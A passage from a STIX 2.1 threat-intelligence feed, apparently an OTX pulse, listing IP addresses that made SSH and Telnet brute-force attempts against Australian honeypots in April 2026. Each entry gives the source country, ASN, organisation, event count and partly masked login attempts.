      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 421. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, c***o, s*****t, u**r. Passwords observed (masked): a***n, 1**4, 1***5, a******3, 0**************D.",
      "id": "indicator--2c492175-f208-4263-81e0-8b3030ed54a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '27.79.46.123']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T14:15:10.000Z",
      "valid_until": "2026-06-01T14:15:08.000Z"
    },
    {
      "created": "2026-04-30T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PY. ASN(s): 267883. Organisation(s): RODRIGUEZ PAEZ HUGO HERNAN TELNET PARAGUAY.",
      "id": "indicator--4b585f3e-d044-49f4-940a-dc16420d98d0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.177.207.67']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T14:15:10.000Z",
      "valid_until": "2026-06-01T14:15:08.000Z"
    },
    {
      "created": "2026-04-30T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SG. ASN(s): 45102. Organisation(s): Alibaba US Technology Co., Ltd.. Usernames observed (masked): ***, d****n, d****y, f***k, ***. Passwords observed (masked): ***, ***, 1****6, 1*******9, P******d.",
      "id": "indicator--d7ad9b35-7956-4df6-851d-0e9bda33063e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '47.237.252.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T14:15:10.000Z",
      "valid_until": "2026-06-01T14:15:08.000Z"
    },
    {
      "created": "2026-04-30T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 36352. Organisation(s): HostPapa.",
      "id": "indicator--9e1f51ee-bfde-4c61-ba12-0cf6b0f2fa4b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.188.10.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T14:15:10.000Z",
      "valid_until": "2026-06-01T14:15:08.000Z"
    },
    {
      "created": "2026-04-30T14:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--e1d8d8ad-2d41-4437-8c42-e2a2c793ea19",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '64.62.156.40']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T14:15:10.000Z",
      "valid_until": "2026-06-01T14:15:08.000Z"
    },
    {
      "created": "2026-04-30T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 56. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 31898. Organisation(s): Oracle Corporation.",
      "id": "indicator--124e8130-60d4-4971-b28a-353b571d2146",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '74.91.136.80']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T14:15:10.000Z",
      "valid_until": "2026-06-01T14:15:08.000Z"
    },
    {
      "created": "2026-04-30T14:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: DE. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--53553348-6173-4260-baa9-9d778a743d79",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T14:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '85.215.201.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T14:15:10.000Z",
      "valid_until": "2026-06-01T14:15:08.000Z"
    },
    {
      "created": "2026-04-30T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 36926. Organisation(s): CKL1-ASN.",
      "id": "indicator--deafa287-637f-4648-93e5-26fb00b85cad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '102.0.24.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T15:15:10.000Z",
      "valid_until": "2026-06-01T15:15:08.000Z"
    },
    {
      "created": "2026-04-30T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 21859. Organisation(s): Zenlayer Inc. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--9ea77883-bc6b-49b4-b222-f503cefb3d83",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '107.148.180.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T15:15:10.000Z",
      "valid_until": "2026-06-01T15:15:08.000Z"
    },
    {
      "created": "2026-04-30T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--fc337c8d-77ec-4102-89fc-11dbfd378547",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '115.151.42.254']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T15:15:10.000Z",
      "valid_until": "2026-06-01T15:15:08.000Z"
    },
    {
      "created": "2026-04-30T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14956. Organisation(s): RouterHosting LLC.",
      "id": "indicator--66ce8deb-e862-4af9-b618-f7baeca06ab9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '144.172.100.249']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T15:15:10.000Z",
      "valid_until": "2026-06-01T15:15:08.000Z"
    },
    {
      "created": "2026-04-30T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 13. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--435b179b-6912-41f0-9f74-afb75bd6e001",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '165.232.98.79']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T15:15:10.000Z",
      "valid_until": "2026-06-01T15:15:08.000Z"
    },
    {
      "created": "2026-04-30T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 6167. Organisation(s): Verizon Business.",
      "id": "indicator--980ac674-8a4f-46d2-8aef-05832521ea7f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '166.166.144.83']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T15:15:10.000Z",
      "valid_until": "2026-06-01T15:15:08.000Z"
    },
    {
      "created": "2026-04-30T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--57f0a980-12fe-4ed3-94be-52fb3cf81e06",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '167.172.58.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T15:15:10.000Z",
      "valid_until": "2026-06-01T15:15:08.000Z"
    },
    {
      "created": "2026-04-30T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 23. Source country: GB. ASN(s): 5607. Organisation(s): Sky UK Limited.",
      "id": "indicator--5fa8ede9-63d0-4697-85c0-931f2ffdc587",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.251.64.35']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T15:15:10.000Z",
      "valid_until": "2026-06-01T15:15:08.000Z"
    },
    {
      "created": "2026-04-30T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 17222. Organisation(s): MUNDIVOX DO BRASIL LTDA.",
      "id": "indicator--d4a2dc95-6b66-4bf1-8a9b-6d357ca48d39",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '187.102.161.86']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T15:15:10.000Z",
      "valid_until": "2026-06-01T15:15:08.000Z"
    },
    {
      "created": "2026-04-30T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie. Target ports: 23. Source country: FR. ASN(s): 51167. Organisation(s): Contabo GmbH.",
      "id": "indicator--0a9eb2ba-cd76-4ce8-a3ad-ffb155523cdb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '193.34.144.93']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T15:15:10.000Z",
      "valid_until": "2026-06-01T15:15:08.000Z"
    },
    {
      "created": "2026-04-30T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 41820. Organisation(s): New Information Systems PP.",
      "id": "indicator--aaea7dbf-9d5e-43cf-895a-f60351d7e8cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '193.34.173.69']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T15:15:10.000Z",
      "valid_until": "2026-06-01T15:15:08.000Z"
    },
    {
      "created": "2026-04-30T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MX. ASN(s): 8151. Organisation(s): UNINET.",
      "id": "indicator--231d9382-bace-4b1f-a354-30c510fd0bfb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '201.138.210.152']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T15:15:10.000Z",
      "valid_until": "2026-06-01T15:15:08.000Z"
    },
    {
      "created": "2026-04-30T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--77393f19-4ef4-4972-81b9-a8f70c6bac59",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '206.135.174.233']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T15:15:10.000Z",
      "valid_until": "2026-06-01T15:15:08.000Z"
    },
    {
      "created": "2026-04-30T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 80. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 22611. Organisation(s): InMotion Hosting, Inc..",
      "id": "indicator--07e5429e-0ddb-4825-a100-b40fa5c28960",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '213.165.245.64']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T15:15:10.000Z",
      "valid_until": "2026-06-01T15:15:08.000Z"
    },
    {
      "created": "2026-04-30T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 16. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 10796. Organisation(s): Charter Communications Inc.",
      "id": "indicator--2f992220-7b8b-4cb6-839f-b6a337b1fd6f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '24.160.172.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T15:15:10.000Z",
      "valid_until": "2026-06-01T15:15:08.000Z"
    },
    {
      "created": "2026-04-30T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: VN. ASN(s): 18403. Organisation(s): FPT Telecom Company.",
      "id": "indicator--2e3eb9c8-47aa-4273-af21-390f20e86462",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '42.114.23.238']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T15:15:10.000Z",
      "valid_until": "2026-06-01T15:15:08.000Z"
    },
    {
      "created": "2026-04-30T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 269795. Organisation(s): MLV SA.",
      "id": "indicator--7e1e4ca6-9f59-40c7-a25c-748869a71f09",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '45.184.231.197']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T15:15:10.000Z",
      "valid_until": "2026-06-01T15:15:08.000Z"
    },
    {
      "created": "2026-04-30T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AZ. ASN(s): 211995. Organisation(s): A2Z Technologies CJSC.",
      "id": "indicator--8feee3d3-cb0f-4134-9339-0305da40e2e3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '46.22.229.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T15:15:10.000Z",
      "valid_until": "2026-06-01T15:15:08.000Z"
    },
    {
      "created": "2026-04-30T15:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--3b407a97-1a9d-4c2e-a66f-256d49beb91e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T15:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '96.126.110.168']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T15:15:10.000Z",
      "valid_until": "2026-06-01T15:15:08.000Z"
    },
    {
      "created": "2026-04-30T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 138754. Organisation(s): Kerala Vision Broad Band Private Limited.",
      "id": "indicator--c10bd16a-4ad7-42cb-b91a-7b97e030fbcd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '103.149.158.121']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T16:15:10.000Z",
      "valid_until": "2026-06-01T16:15:08.000Z"
    },
    {
      "created": "2026-04-30T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 40. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 394695. Organisation(s): PDR.",
      "id": "indicator--5bf627d2-9d9e-4d5c-9f38-e8ceb0288b73",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '119.18.62.193']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T16:15:10.000Z",
      "valid_until": "2026-06-01T16:15:08.000Z"
    },
    {
      "created": "2026-04-30T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 120. Sensors involved: Cowrie. Target ports: 23. Source country: AU. ASN(s): 56037. Organisation(s): Escapenet Pty Ltd.",
      "id": "indicator--8824169b-bbe0-409a-93ba-798070c5772a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '122.129.220.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T16:15:10.000Z",
      "valid_until": "2026-06-01T16:15:08.000Z"
    },
    {
      "created": "2026-04-30T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie. Target ports: 23. Source country: AT. ASN(s): 197540. Organisation(s): netcup GmbH.",
      "id": "indicator--1e53e179-1072-4cf6-9383-39bb4dc220c2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '152.53.86.127']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T16:15:10.000Z",
      "valid_until": "2026-06-01T16:15:08.000Z"
    },
    {
      "created": "2026-04-30T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 44. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 141995. Organisation(s): Contabo Asia Private Limited.",
      "id": "indicator--63829dda-11cb-483e-9aa1-c22ae56d3d7d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '154.26.132.223']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T16:15:10.000Z",
      "valid_until": "2026-06-01T16:15:08.000Z"
    },
    {
      "created": "2026-04-30T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: SG. ASN(s): 136907. Organisation(s): HUAWEI CLOUDS.",
      "id": "indicator--b934e342-9360-4e9c-b05e-2b81b14f6bf0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '159.138.121.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T16:15:10.000Z",
      "valid_until": "2026-06-01T16:15:08.000Z"
    },
    {
      "created": "2026-04-30T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 24. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 31898. Organisation(s): Oracle Corporation.",
      "id": "indicator--1a283032-d651-49cb-bbb4-3709bc079b45",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '162.214.149.20']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T16:15:10.000Z",
      "valid_until": "2026-06-01T16:15:08.000Z"
    },
    {
      "created": "2026-04-30T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 98. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 23470. Organisation(s): ReliableSite.Net LLC.",
      "id": "indicator--57dbc1c9-a491-4537-9271-6bc327fe8d5c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '172.93.110.95']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T16:15:10.000Z",
      "valid_until": "2026-06-01T16:15:08.000Z"
    },
    {
      "created": "2026-04-30T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: UA. ASN(s): 24812. Organisation(s): RPC HomeNet Ltd..",
      "id": "indicator--dceced35-4a18-4af0-bcc7-eb38cdd972e4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '176.105.200.186']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T16:15:10.000Z",
      "valid_until": "2026-06-01T16:15:08.000Z"
    },
    {
      "created": "2026-04-30T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 4. Sensors involved: Cowrie. Target ports: 23. Source country: CL. ASN(s): 22047. Organisation(s): VTR BANDA ANCHA S.A..",
      "id": "indicator--36e283c4-7868-4e12-bd92-98c14d2d5093",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '200.74.92.38']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-04-30T16:15:10.000Z",
      "valid_until": "2026-06-01T16:15:08.000Z"
    },
    {
      "created": "2026-04-30T16:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 14. Sensors involved: Cowrie. Target ports: 23. Source country: ES. ASN(s): 49635. Organisation(s): Cloudi Nextgen Sl.",
      "id": "indicator--7911225a-00f5-4d78-b2f6-623b2e543a6a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-04-30T16:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - April 2026",
      "pattern": "[ipv4-addr:value = '217.71.203.110']",
